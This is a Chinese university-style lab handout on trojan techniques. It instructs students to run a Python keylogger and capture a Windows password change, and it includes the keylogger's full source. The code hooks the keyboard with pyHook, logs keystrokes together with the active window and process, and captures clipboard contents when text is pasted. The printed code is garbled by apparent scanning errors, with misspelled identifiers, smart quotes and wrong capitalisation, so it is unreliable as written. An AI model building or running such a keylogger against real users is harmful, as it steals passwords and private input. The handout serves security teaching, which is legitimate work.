实验六 远程控制
1 、 实验目的
掌握木马的键盘记录功能的编程实现技术。
2 、 实验内容与要求
(1 ) 调试木马技术章节给出的keylogger.py程序。
(2) 运行 keylogger. py 程序。
(3) 修改Windows用户口令,观察keylogger.py程序的记录结果。
(4) 所有结果均需截图,并写人实验报告中。
(3) 实验环境
3、实验室环境,实验所用的计算机的操作系统为Windows,并安装Python开发环境 及Python 第三方库PyHook
4、附录 keylogger.py源代码##########################################################
#程序名:keylogger, py
#功能:利用Python第三方库PyHook实现键盘记录
#说明:运行平台Windows。它利用Windows的SetWindowsHookEx函数注册
# 了一个自定义的钩子函数,通过函数就能截获用户的按键消息######################################################
from ctypes import *
import pythoncom
import pyHook
import win32clipboard
user32 = windll. user32
kemel32 = windll. kernel32
psapi = windll. psapi
current_wi ndow = None
def get_current_process ():
hwnd = user32.GetForegroundWindow( ) #获得前台窗口句柄
pid = c_ulong(0)
user32.GetWindowThreadProcessId( hwnd, byref( pid))
processed = “% d”% pid. value #获得进程 PID
executable =create_string_buffer( " \x00" * 512)
h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid)
#获得进程名
psapi. GetModuleBaseNameA(h_process,None,byref(executable),512) window_title= create_string_buffer( “\x00” *512)
#获得窗口名
length = user32.GetWindowTextA(hwnd, byref( window_title) ,512)
print “[ PID:%s-%s-%s]” % (process Jd, executable.value, window_title.value)
kemel32.CloseHandle (hwnd )
kernel32.CloseHandle ( h_process )
def key_event( event):
global current_window
if event.WindowName!= current_window: #检查目标是否切换簡口
cunent_window = event. WindowName
get_current_process ()
If event.Ascii> 32 and event. Ascii < 127 : #检查是否为常规按键
print chr( event. Ascii),
else:
if event. Key ==” V” : #如果是Ctrl + V,则获取剪贴板内容
Win32 clipboard. OpenClipboard ()
pasted_value = win32clipboard. GetClipboaidData ()
Win32 clipboard. CloseClipboard ()
print ”[PASTE] -%s” % (pasted_value),
else:
print “[ % s]” % event.Key,
return true #返回到下一个钩子事件
def key_logger():
hooker= pyHook. HookManager()
hooker. KeyDown = key_event
hooker. HookKeyboard ()
pythoncom. PumpMessages()
If _name_ ==’_main_ ‘:
Key_logger()

